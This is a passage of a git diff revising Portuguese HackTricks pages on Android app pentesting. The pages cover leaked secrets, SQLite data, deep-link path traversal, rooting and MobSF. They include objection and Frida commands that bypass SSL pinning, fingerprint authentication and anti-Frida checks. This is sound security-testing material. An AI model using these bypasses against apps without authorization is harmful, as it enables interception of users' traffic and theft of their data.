acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desup ### Análise Estática Automatizada de Código -A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar vulnerabilidades escaneando o código do aplicativo. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam à ferramenta os **locais** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam à ferramenta **locais perigosos** onde a entrada maliciosa do usuário poderia causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indicam uma vulnerabilidade. +A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar vulnerabilidades escaneando o código do aplicativo. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam à ferramenta os **locais** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam à ferramenta **locais perigosos** onde a entrada maliciosa do usuário poderia causar danos) e **regras**. Essas regras indicam a **combinação de fontes-sinks** que indicam uma vulnerabilidade. Com esse conhecimento, **mariana-trench revisará o código e encontrará possíveis vulnerabilidades nele**. -### Segredos vazados +### Segredos Vazados Um aplicativo pode conter segredos (chaves de API, senhas, URLs ocultas, subdomínios...) que você pode descobrir. Você pode usar uma ferramenta como [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) @@ -214,7 +214,7 @@ Um aplicativo pode conter segredos (chaves de API, senhas, URLs ocultas, subdom ### Outras funções interessantes -* **Execução de código**: `Runtime.exec(), ProcessBuilder(), código nativo:system()` +* **Execução de Código**: `Runtime.exec(), ProcessBuilder(), código nativo:system()` * **Enviar SMS**: `sendTextMessage, sendMultipartTestMessage` * **Funções nativas** declaradas como `native`: `public native, System.loadLibrary, System.load` * [Leia isso para aprender **como reverter funções nativas**](reversing-native-libraries.md) @@ -252,7 +252,7 @@ Fique informado sobre os mais novos programas de recompensas por bugs lançados Você pode criar uma **conta gratuita** em: [https://appetize.io/](https://appetize.io). Esta plataforma permite que você **faça upload** e **execute** APKs, sendo útil para ver como um APK está se comportando. -Você pode até **ver os logs do seu aplicativo** na web e se conectar por meio de **adb**. +Você pode até **ver os logs do seu aplicativo** na web e conectar-se por meio de **adb**. ![](<../../.gitbook/assets/image (60).png>) @@ -280,7 +280,7 @@ Para **instalar serviços do Google** (como a Play Store) no Genymotion, você p ![](<../../.gitbook/assets/image (200) (1).png>) -Além disso, observe que na **configuração da VM Android no Genymotion** você pode selecionar o modo **Bridge Network** (isso será útil se você estiver se conectando à VM Android de uma VM diferente com as ferramentas). +Além disso, observe que na **configuração da VM Android no Genymotion** você pode selecionar o modo **Bridge Network** (isso será útil se você for conectar-se à VM Android de uma VM diferente com as ferramentas). #### Usar um dispositivo físico Você precisa ativar as opções de **depuração** e será legal se você puder **fazer root** nele: @@ -301,28 +301,28 @@ Você precisa ativar as opções de **depuração** e será legal se você puder Os desenvolvedores devem ter cuidado ao expor informações de **depuração** publicamente, pois isso pode levar a vazamentos de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar os logs do aplicativo a fim de identificar e proteger informações sensíveis. **Pidcat** é preferido por sua facilidade de uso e legibilidade. {% hint style="warning" %} -Observe que a partir do **Android 4.0 ou posterior**, **os aplicativos só podem acessar seus próprios logs**. Portanto, os aplicativos não podem acessar os logs de outros aplicativos.\ +Observe que a partir do **Android mais recente que o 4.0**, **os aplicativos só podem acessar seus próprios logs**. Portanto, os aplicativos não podem acessar os logs de outros aplicativos.\ De qualquer forma, ainda é recomendável **não registrar informações sensíveis**. {% endhint %} -**Armazenamento de Buffer de Copiar/Colar** +**Armazenamento em Cache de Copiar/Colar** -O framework baseado em **clipboard** do Android permite funcionalidades de copiar/colar em aplicativos, mas representa um risco, pois **outros aplicativos** podem **acessar** a área de transferência, expondo potencialmente dados sensíveis. É crucial **desativar as funções de copiar/colar** para seções sensíveis de um aplicativo, como detalhes de cartão de crédito, para evitar vazamentos de dados. +O framework baseado em **área de transferência** do Android permite funcionalidades de copiar e colar em aplicativos, mas representa um risco, pois **outros aplicativos** podem **acessar** a área de transferência, expondo potencialmente dados sensíveis. É crucial **desativar as funções de copiar/colar** para seções sensíveis de um aplicativo, como detalhes de cartão de crédito, para evitar vazamentos de dados. **Logs de Falhas** -Se um aplicativo **falhar** e **salvar logs**, esses logs podem ajudar os atacantes, especialmente quando o aplicativo não pode ser engenhado reversamente. Para mitigar esse risco, evite registrar em caso de falhas e, se os logs precisarem ser transmitidos pela rede, certifique-se de que sejam enviados por meio de um canal SSL para segurança. +Se um aplicativo **falhar** e **salvar logs**, esses logs podem ajudar os atacantes, especialmente quando o aplicativo não pode ser engenhado reversamente. Para mitigar esse risco, evite registrar em falhas e, se os logs precisarem ser transmitidos pela rede, garanta que sejam enviados por meio de um canal SSL para segurança. Como pentester, **tente dar uma olhada nesses logs**. **Dados Analíticos Enviados a Terceiros** -Os aplicativos frequentemente integram serviços como Google Adsense, que podem inadvertidamente **vazar dados sensíveis** devido a uma implementação inadequada pelos desenvolvedores. Para identificar possíveis vazamentos de dados, é aconselhável **interceptar o tráfego do aplicativo** e verificar se há envio de informações sensíveis para serviços de terceiros. +Os aplicativos frequentemente integram serviços como Google Adsense, que podem inadvertidamente **vazar dados sensíveis** devido a uma implementação inadequada pelos desenvolvedores. Para identificar possíveis vazamentos de dados, é aconselhável **interceptar o tráfego do aplicativo** e verificar se há algum envio de informações sensíveis para serviços de terceiros. ### Bancos de Dados SQLite A maioria dos aplicativos usará **bancos de dados SQLite internos** para salvar informações. Durante o pentest, dê uma **olhada** nos **bancos de dados** criados, nos nomes das **tabelas** e **colunas** e em todos os **dados** salvos, pois você pode encontrar **informações sensíveis** (o que seria uma vulnerabilidade).\ -Os bancos de dados devem estar localizados em `/data/data/o.nome.do.pacote/bancos de dados` como `/data/data/com.mwr.example.sieve/bancos de dados` +Os bancos de dados devem estar localizados em `/data/data/o.nome.do.pacote/databases` como `/data/data/com.mwr.example.sieve/databases` Se o banco de dados estiver salvando informações confidenciais e estiver **criptografado**, mas você pode **encontrar** a **senha** dentro do aplicativo, ainda é uma **vulnerabilidade**. @@ -363,12 +363,12 @@ Note que uma violação de autorização nem sempre é uma vulnerabilidade, isso #### Tapjacking -Se o tapjacking não for prevenido, você poderia abusar da atividade exportada para fazer com que o **usuário realize ações inesperadas**. Para mais informações sobre [**o que é Tapjacking, siga o link**](./#tapjacking). +Se o tapjacking não for prevenido, você poderia abusar da atividade exportada para fazer o **usuário realizar ações inesperadas**. Para mais informações sobre [**o que é Tapjacking, siga o link**](./#tapjacking). ### Explorando Provedores de Conteúdo - Acessando e manipulando informações sensíveis [**Leia isso se quiser relembrar o que é um Provedor de Conteúdo.**](android-applications-basics.md#content-provider)\ -Os provedores de conteúdo são basicamente usados para **compartilhar dados**. Se um aplicativo tiver provedores de conteúdo disponíveis, você pode ser capaz de **extrair dados** sensíveis deles. Também é interessante testar possíveis **injeções de SQL** e **travessias de caminho** pois eles podem ser vulneráveis. +Os provedores de conteúdo são basicamente usados para **compartilhar dados**. Se um aplicativo tiver provedores de conteúdo disponíveis, você pode ser capaz de **extrair dados sensíveis** deles. Também é interessante testar possíveis **injeções de SQL** e **travessias de caminho** pois eles podem ser vulneráveis. [**Aprenda como explorar Provedores de Conteúdo com o Drozer.**](drozer-tutorial/#content-providers) @@ -390,7 +390,7 @@ Um receptor de transmissão estará aguardando por um tipo de mensagem. Dependen ### **Explorando Esquemas / Links Profundos** -Você pode procurar links profundos manualmente, usando ferramentas como MobSF ou scripts como [este](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +Você pode procurar links profundos manualmente, usando ferramentas como o MobSF ou scripts como [este](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ Você pode **abrir** um **esquema** declarado usando **adb** ou um **navegador**: {% code overflow="wrap" %} @@ -399,7 +399,7 @@ adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?para ``` {% endcode %} -_Obs: você pode **omitir o nome do pacote** e o celular chamará automaticamente o aplicativo que deve abrir o link._ +_Obs: você pode **omitir o nome do pacote** e o celular automaticamente chamará o aplicativo que deve abrir o link._ {% code overflow="wrap" %} ```markup @@ -418,22 +418,22 @@ Para encontrar o **código que será executado no aplicativo**, vá para a ativi **Informações sensíveis** -Sempre que encontrar um deeplink, verifique se **não está recebendo dados sensíveis (como senhas) por meio de parâmetros de URL**, pois qualquer outro aplicativo poderia **fingir ser o deeplink e roubar esses dados!** +Sempre que encontrar um deep link, verifique se **não está recebendo dados sensíveis (como senhas) por meio de parâmetros de URL**, pois qualquer outro aplicativo poderia **fingir ser o deep link e roubar esses dados!** **Parâmetros no caminho** -Você **também deve verificar se algum deeplink está usando um parâmetro dentro do caminho** do URL, como: `https://api.example.com/v1/users/{username}`, nesse caso você pode forçar uma travessia de caminho acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\ -Observe que se você encontrar os endpoints corretos dentro do aplicativo, poderá causar um **Redirecionamento Aberto** (se parte do caminho for usada como nome de domínio), **assumir a conta** (se puder modificar detalhes de usuários sem token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [informações sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/). +Você **também deve verificar se algum deep link está usando um parâmetro dentro do caminho** do URL, como: `https://api.example.com/v1/users/{username}`, nesse caso você pode forçar uma travessia de caminho acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\ +Observe que se você encontrar os endpoints corretos dentro do aplicativo, poderá causar um **Redirecionamento Aberto** (se parte do caminho for usada como nome de domínio), **assumir o controle da conta** (se puder modificar detalhes de usuários sem token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [informações sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/). **Mais exemplos** Um [relatório interessante de recompensa por bugs](https://hackerone.com/reports/855618) sobre links (_/.well-known/assetlinks.json_). -### Falhas na Inspeção e Verificação da Camada de Transporte +### Inspeção da Camada de Transporte e Falhas de Verificação -* **Certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum para esses aplicativos ignorar avisos e aceitar certificados autoassinados ou, em alguns casos, voltar a usar conexões HTTP. +* **Certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum esses aplicativos ignorarem avisos e aceitarem certificados autoassinados ou, em alguns casos, voltarem a usar conexões HTTP. * **Negociações durante o handshake SSL/TLS às vezes são fracas**, empregando conjuntos de cifras inseguros. Essa vulnerabilidade torna a conexão suscetível a ataques do tipo homem-no-meio (MITM), permitindo que invasores descriptografem os dados. -* **Vazamento de informações privadas** é um risco quando aplicativos autenticam usando canais seguros, mas depois comunicam por canais não seguros para outras transações. Essa abordagem falha em proteger dados sensíveis, como cookies de sessão ou detalhes do usuário, de interceptação por entidades maliciosas. +* **Vazamento de informações privadas** é um risco quando aplicativos autenticam usando canais seguros, mas depois comunicam-se por canais não seguros para outras transações. Essa abordagem falha em proteger dados sensíveis, como cookies de sessão ou detalhes do usuário, de interceptação por entidades maliciosas. #### Verificação de Certificado @@ -447,13 +447,13 @@ SSL Pinning é uma medida de segurança em que o aplicativo verifica o certifica Para inspecionar o tráfego HTTP, é necessário **instalar o certificado da ferramenta de proxy** (por exemplo, Burp). Sem instalar este certificado, o tráfego criptografado pode não ser visível através do proxy. Para um guia sobre como instalar um certificado CA personalizado, [**clique aqui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Aplicativos direcionados ao **Nível de API 24 e acima** requerem modificações na Configuração de Segurança de Rede para aceitar o certificado CA do proxy. Este passo é crítico para inspecionar o tráfego criptografado. Para instruções sobre como modificar a Configuração de Segurança de Rede, [**consulte este tutorial**](make-apk-accept-ca-certificate.md). +Aplicativos direcionados ao **Nível de API 24 e acima** requerem modificações na Configuração de Segurança de Rede para aceitar o certificado CA do proxy. Este passo é crucial para inspecionar o tráfego criptografado. Para instruções sobre como modificar a Configuração de Segurança de Rede, [**consulte este tutorial**](make-apk-accept-ca-certificate.md). #### Bypass do SSL Pinning Quando o SSL Pinning é implementado, torna-se necessário contorná-lo para inspecionar o tráfego HTTPS. Vários métodos estão disponíveis para esse fim: -* **Modificar automaticamente** o **apk** para **burlar** o SSLPinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). A maior vantagem desta opção é que você não precisará de acesso root para burlar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará. +* Modificar automaticamente o **apk** para **burlar** o SSLPinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). A maior vantagem dessa opção é que você não precisará de acesso root para burlar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará. * Você pode usar o **Frida** (discutido abaixo) para burlar essa proteção. Aqui está um guia para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) * Você também pode tentar **burlar automaticamente o SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` * Você também pode tentar **burlar automaticamente o SSL Pinning** usando **análise dinâmica do MobSF** (explicado abaixo) @@ -473,6 +473,7 @@ Se você deseja fazer pentest em aplicativos Android, precisa saber como usar o * Algum "GUI" para ações com o Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) * Ojection é ótimo para automatizar o uso do Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) * Você pode encontrar alguns scripts incríveis do Frida aqui: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +* Tente burlar mecanismos anti-depuração / anti-Frida carregando o Frida conforme indicado em [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (ferramenta [linjector](https://github.com/erfur/linjector-rs)) ### **Despejo de Memória - Fridump** @@ -497,7 +498,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a ### **Dados sensíveis no Keystore** -No Android, o Keystore é o melhor lugar para armazenar dados sensíveis, no entanto, com privilégios suficientes ainda é **possível acessá-lo**. Como os aplicativos tendem a armazenar aqui **dados sensíveis em texto claro**, os testes de penetração devem verificar isso, pois um usuário root ou alguém com acesso físico ao dispositivo poderia roubar esses dados. +No Android, o Keystore é o melhor lugar para armazenar dados sensíveis, no entanto, com privilégios suficientes ainda é **possível acessá-lo**. Como os aplicativos tendem a armazenar aqui **dados sensíveis em texto claro**, os testes de penetração devem verificar isso, pois um usuário root ou alguém com acesso físico ao dispositivo pode ser capaz de roubar esses dados. Mesmo que um aplicativo armazene dados no keystore, os dados devem ser criptografados. @@ -507,7 +508,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Bypass de Impressão Digital/Biometria** -Usando o seguinte script do Frida, poderia ser possível **burlar a autenticação por impressão digital** que aplicativos Android podem estar realizando para **proteger áreas sensíveis:** +Usando o seguinte script do Frida, poderia ser possível **burlar a autenticação por impressão digital** que aplicativos Android podem estar realizando para **proteger áreas sensíveis específicas:** {% code overflow="wrap" %} ```bash @@ -517,13 +518,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ) -**Avaliação de vulnerabilidades do aplicativo** usando uma agradável interface web. Você também pode realizar análise dinâmica (mas precisa preparar o ambiente). +**Avaliação de vulnerabilidades do aplicativo** usando uma agradável interface web. Você também pode realizar análises dinâmicas (mas precisa preparar o ambiente). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` -Observe que o MobSF pode analisar aplicativos **Android**(apk), **IOS**(ipa) e **Windows**(apx) (_os aplicativos do Windows devem ser analisados a partir de um MobSF instalado em um host Windows_).\ +Observe que o MobSF pode analisar aplicativos **Android**(apk), **IOS**(ipa) **e Windows**(apx) (_os aplicativos do Windows devem ser analisados a partir de um MobSF instalado em um host Windows_).\ Além disso, se você criar um arquivo **ZIP** com o código-fonte de um aplicativo **Android** ou **IOS** (vá até a pasta raiz do aplicativo, selecione tudo e crie um arquivo ZIP), o MobSF também poderá analisá-lo. O MobSF também permite que você faça a **diferença/comparação** de análises e integre o **VirusTotal** (você precisará configurar sua chave de API em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` como `False`, então o **hash** será **enviado** em vez do arquivo. -### Análise dinâmica assistida com o MobSF +### Análise Dinâmica Assistida com o MobSF -O **MobSF** também pode ser muito útil para **análise dinâmica** no **Android**, mas nesse caso você precisará instalar o MobSF e o **genymotion** em seu host (uma VM ou Docker não funcionarão). _Observação: Você precisa **iniciar primeiro uma VM no genymotion** e **depois o MobSF**._ +O **MobSF** também pode ser muito útil para **análise dinâmica** no **Android**, mas nesse caso você precisará instalar o MobSF e o **genymotion** em seu host (uma VM ou Docker não funcionará). _Nota: Você precisa **iniciar primeiro uma VM no genymotion** e **depois o MobSF**._ O analisador dinâmico do **MobSF** pode: @@ -606,21 +607,21 @@ A partir das versões do Android > 5, ele **iniciará automaticamente o Frida** Por padrão, ele também usará alguns Scripts do Frida para **burlar a verificação de SSL**, **detecção de root** e **detecção de depurador** e para **monitorar APIs interessantes**.\ O MobSF também pode **invocar atividades exportadas**, capturar **capturas de tela** delas e **salvá-las** para o relatório. -Para **iniciar** os testes dinâmicos, pressione o botão verde: "**Start Instrumentation**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts do Frida e "**Live API Monitor**" para ver todas as invocações aos métodos conectados, argumentos passados e valores retornados (isso aparecerá após pressionar "Start Instrumentation").\ -O MobSF também permite carregar seus próprios **scripts do Frida** (para enviar os resultados de seus scripts do Friday para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Load**" e pressionar "**Start Instrumentation**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**"). +Para **iniciar** o teste dinâmico, pressione o botão verde: "**Iniciar Instrumentação**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts do Frida e "**Monitor de API ao Vivo**" para ver todas as invocações aos métodos conectados, argumentos passados e valores retornados (isso aparecerá após pressionar "Iniciar Instrumentação").\ +O MobSF também permite carregar seus próprios **scripts do Frida** (para enviar os resultados de seus scripts do Frida para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Carregar**" e pressionar "**Iniciar Instrumentação**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**"). ![](<../../.gitbook/assets/image (215).png>) Além disso, você tem algumas funcionalidades auxiliares do Frida: * **Enumerar Classes Carregadas**: Ele imprimirá todas as classes carregadas -* **Capturar Strings**: Ele imprimirá todas as strings capturadas ao usar o aplicativo (muito barulhento) +* **Capturar Strings**: Ele imprimirá todas as strings capturadas ao usar o aplicativo (muito ruidoso) * **Capturar Comparação de Strings**: Pode ser muito útil. Ele **mostrará as 2 strings sendo comparadas** e se o resultado foi Verdadeiro ou Falso. * **Enumerar Métodos de Classe**: Insira o nome da classe (como "java.io.File") e ele imprimirá todos os métodos da classe. * **Pesquisar Padrão de Classe**: Pesquisar classes por padrão * **Rastrear Métodos de Classe**: **Rastrear** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se de que por padrão o MobSF rastreia vários métodos interessantes da API do Android. -Depois de selecionar o módulo auxiliar que deseja usar, você precisa pressionar "**Start Intrumentation**" e verá todas as saídas em "**Frida Live Logs**". +Depois de selecionar o módulo auxiliar que deseja usar, você precisa pressionar "**Iniciar Instrumentação**" e verá todas as saídas em "**Frida Live Logs**". **Shell** @@ -636,12 +637,12 @@ receivers **Ferramentas HTTP** Quando o tráfego http é capturado, você pode ver uma visualização feia do tráfego capturado no fundo "**HTTP(S) Traffic**" ou uma visualização mais agradável no fundo verde "**Start HTTPTools**". A partir da segunda opção, você pode **enviar** as **solicitações capturadas** para **proxies** como Burp ou Owasp ZAP.\ -Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a solicitação_ --> pressione "**Enviar para Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.1:8080)). +Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a solicitação_ --> pressione "**Enviar para Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Após concluir a análise dinâmica com o MobSF, você pode pressionar "**Iniciar Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades. +Após concluir a análise dinâmica com o MobSF, você pode pressionar "**Iniciar Web API Fuzzer**" para **fuzzar solicitações http** e procurar por vulnerabilidades. {% hint style="info" %} -Após realizar uma análise dinâmica com o MobSF, as configurações de proxy podem estar incorretas e você não poderá corrigi-las pela GUI. Você pode corrigir as configurações de proxy fazendo: +Após realizar uma análise dinâmica com o MobSF, as configurações do proxy podem estar incorretas e você não poderá corrigi-las pela GUI. Você pode corrigir as configurações do proxy fazendo: ``` adb shell settings put global http_proxy :0 ``` @@ -692,7 +693,7 @@ super-analyzer {apk_file} ![](<../../.gitbook/assets/image (62).png>) -StaCoAn é uma ferramenta **multiplataforma** que auxilia desenvolvedores, caçadores de bugs e hackers éticos a realizar [análise de código estático](https://en.wikipedia.org/wiki/Static\_program\_analysis) em aplicativos móveis. +StaCoAn é uma ferramenta **multiplataforma** que auxilia desenvolvedores, caçadores de bugs e hackers éticos na realização de [análise de código estático](https://en.wikipedia.org/wiki/Static\_program\_analysis) em aplicativos móveis. O conceito é que você arraste e solte o arquivo do seu aplicativo móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ela irá gerar um relatório visual e portátil para você. Você pode ajustar as configurações e listas de palavras para obter uma experiência personalizada. @@ -722,9 +723,9 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../.gitbook/assets/image (81).png>) -**MARA** é um **F**ramework de **R**everse **E**ngineering e **A**nálise de **A**plicativos **M**óveis. É uma ferramenta que reúne ferramentas comumente usadas para reverse engineering e análise de aplicativos móveis, para auxiliar no teste de aplicativos móveis contra as ameaças de segurança móvel da OWASP. Seu objetivo é tornar essa tarefa mais fácil e amigável para desenvolvedores de aplicativos móveis e profissionais de segurança. +**MARA** é um **F**ramework de **R**everse engineering e **A**nálise de **A**plicativos **M**óveis. É uma ferramenta que reúne ferramentas comumente usadas para reverse engineering e análise de aplicativos móveis, para auxiliar no teste de aplicativos móveis contra as ameaças de segurança móvel da OWASP. Seu objetivo é tornar essa tarefa mais fácil e amigável para desenvolvedores de aplicativos móveis e profissionais de segurança. -É capaz de: +Ele é capaz de: * Extrair código Java e Smali usando diferentes ferramentas * Analisar APKs usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) @@ -763,7 +764,7 @@ Encontre um guia passo a passo para desofuscar o apk em [https://blog.lexfo.fr/d **DeGuard reverte o processo de obfuscação realizado por ferramentas de obfuscação do Android. Isso permite inúmeras análises de segurança, incluindo inspeção de código e previsão de bibliotecas.** -Você pode fazer upload de um APK ofuscado para a plataforma deles. +Você pode fazer upload de um APK obfuscado para a plataforma deles. ### [Simplify](https://github.com/CalebFenton/simplify) @@ -799,13 +800,13 @@ AndroL4b é uma máquina virtual de segurança Android baseada no ubuntu-mate qu
-Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server para se comunicar com hackers experientes e caçadores de bugs! +Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs! **Percepções de Hacking**\ Engaje-se com conteúdo que explora a emoção e os desafios do hacking **Notícias de Hacking em Tempo Real**\ -Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e insights em tempo real +Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real **Últimos Anúncios**\ Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma @@ -814,7 +815,7 @@ Fique informado sobre os mais novos programas de recompensas por bugs lançados
-Aprenda hacking AWS do zero ao hero com htARTE (HackTricks AWS Red Team Expert)! +Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: diff --git a/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/mobile-pentesting/android-app-pentesting/android-applications-basics.md index 656b550e2..a419aaa1a 100644 --- a/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -14,9 +14,9 @@ Outras formas de apoiar o HackTricks:
-**Try Hard Security Group** +**Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -49,7 +49,7 @@ Quando você instala um **aplicativo e ele solicita permissões**, o aplicativo Observe que os aplicativos Android não precisam solicitar todas as permissões no início, eles também podem **solicitar permissões dinamicamente**, mas todas as permissões devem ser **declaradas** no **manifesto**. Quando um aplicativo expõe funcionalidades, ele pode limitar o **acesso apenas a aplicativos que possuem uma permissão especificada**.\ -Um elemento de permissão tem três atributos: +Um elemento de permissão possui três atributos: * O **nome** da permissão * O atributo **permission-group**, que permite agrupar permissões relacionadas. @@ -59,23 +59,23 @@ Um elemento de permissão tem três atributos: * **Assinatura**: Apenas **aplicativos assinados pelo mesmo certificado que o** exportando o componente podem receber permissão. Este é o tipo mais forte de proteção. * **AssinaturaOuSistema**: Apenas **aplicativos assinados pelo mesmo certificado que o** exportando o componente ou **aplicativos em execução com acesso de nível de sistema** podem receber permissões. -## Aplicações Pré-Instaladas +## Aplicativos Pré-Instalados -Esses aplicativos geralmente são encontrados nos diretórios **`/system/app`** ou **`/system/priv-app`** e alguns deles são **otimizados** (você pode nem encontrar o arquivo `classes.dex`). Esses aplicativos valem a pena verificar porque às vezes eles estão **executando com muitas permissões** (como root). +Esses aplicativos geralmente são encontrados nos diretórios **`/system/app`** ou **`/system/priv-app`** e alguns deles são **otimizados** (você pode nem encontrar o arquivo `classes.dex`). Vale a pena verificar esses aplicativos porque às vezes eles estão **executando com muitas permissões** (como root). -* Os que são enviados com o **ROM** do **AOSP** (Projeto de Código Aberto Android) +* Os enviados com o **ROM** do **AOSP** (Projeto de Código Aberto Android) * Adicionados pelo **fabricante** do dispositivo -* Adicionados pelo **provedor** de telefonia celular (se comprado deles) +* Adicionados pelo **provedor de telefonia celular** (se comprado deles) ## Root Para obter acesso root a um dispositivo Android físico, geralmente é necessário **explorar** 1 ou 2 **vulnerabilidades** que costumam ser **específicas** para o **dispositivo** e **versão**.\ -Uma vez que o exploit funcionou, geralmente o binário `su` do Linux é copiado para uma localização especificada na variável de ambiente PATH do usuário, como `/system/xbin`. +Depois que o exploit funcionar, geralmente o binário `su` do Linux é copiado para uma localização especificada na variável de ambiente PATH do usuário, como `/system/xbin`. Depois que o binário su estiver configurado, outro aplicativo Android é usado para interagir com o binário `su` e **processar solicitações de acesso root** como **Superuser** e **SuperSU** (disponível na Google Play Store). {% hint style="danger" %} -Observe que o processo de root é muito perigoso e pode danificar gravemente o dispositivo +Observe que o processo de root é muito perigoso e pode danificar severamente o dispositivo {% endhint %} ### ROMs @@ -89,16 +89,16 @@ Observe que **nem sempre é necessário fazer root no dispositivo** para instala Uma vez que um dispositivo é rooteado, qualquer aplicativo pode solicitar acesso como root. Se um aplicativo malicioso obtiver, ele terá acesso a quase tudo e poderá danificar o telefone. -## Fundamentos de Aplicações Android +## Fundamentos de Aplicativos Android -- O formato de aplicativos Android é referido como _formato de arquivo APK_. É essencialmente um **arquivo ZIP** (renomeando a extensão do arquivo para .zip, o conteúdo pode ser extraído e visualizado). +- O formato dos aplicativos Android é referido como _formato de arquivo APK_. É essencialmente um **arquivo ZIP** (renomeando a extensão do arquivo para .zip, o conteúdo pode ser extraído e visualizado). - Conteúdo do APK (Não exaustivo) - **AndroidManifest.xml** - resources.arsc/strings.xml - resources.arsc: contém recursos pré-compilados, como XML binário. - res/xml/files\_paths.xml - META-INF/ -- Aqui é onde o Certificado está localizado! +- Aqui está localizado o Certificado! - **classes.dex** - Contém bytecode Dalvik, representando o código Java (ou Kotlin) compilado que o aplicativo executa por padrão. - lib/ @@ -126,11 +126,11 @@ Para ser simples, um Intent pode ser usado para: * Iniciar uma Activity, normalmente abrindo uma interface de usuário para um aplicativo * Como transmissões para informar o sistema e aplicativos sobre alterações -* Para iniciar, parar e comunicar-se com um serviço em segundo plano +* Para iniciar, parar e comunicar com um serviço em segundo plano * Para acessar dados por meio de ContentProviders * Como callbacks para lidar com eventos -Se vulneráveis, **Intents podem ser usados para realizar uma variedade de ataques**. +Se vulnerável, **Intents podem ser usados para realizar uma variedade de ataques**. ### Intent-Filter @@ -165,7 +165,7 @@ Este intent deve ser declarado dentro do manifesto como no exemplo a seguir: ``` Um intent-filter precisa corresponder à **ação**, **dados** e **categoria** para receber uma mensagem. -O processo de "resolução de 